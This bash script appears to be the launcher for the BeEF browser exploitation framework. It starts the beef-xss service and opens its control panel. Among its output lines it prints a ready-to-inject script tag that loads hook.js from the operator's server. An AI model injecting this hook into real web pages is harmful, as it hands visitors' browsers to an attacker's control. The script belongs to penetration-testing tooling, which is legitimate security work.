#!/bin/bash

if [[ $EUID -ne 0 ]]; then
   echo "[*] This script must be run as root" 1>&2
   exit 1
fi
ip=$(ip route show | awk '(NR == 2) {print $9}')

port=$(ruby -ryaml -e "print YAML.load_file('/etc/beef-xss/config.yaml')['beef']['http']['port']")

echo '[*] Please wait as BeEF services are started.'
echo '[*] You might need to refresh your browser once it opens.'
echo "[*] UI URL: http://127.0.0.1:$port/ui/panel"
echo "[*] Hook: <script src=\"http://<IP>:$port/hook.js\"></script>"
echo "[*] Example: <script src=\"http://127.0.0.1:$port/hook.js\"></script>"

service beef-xss start
sleep 10
xdg-open http://$ip:$port/ui/panel >& /dev/null &
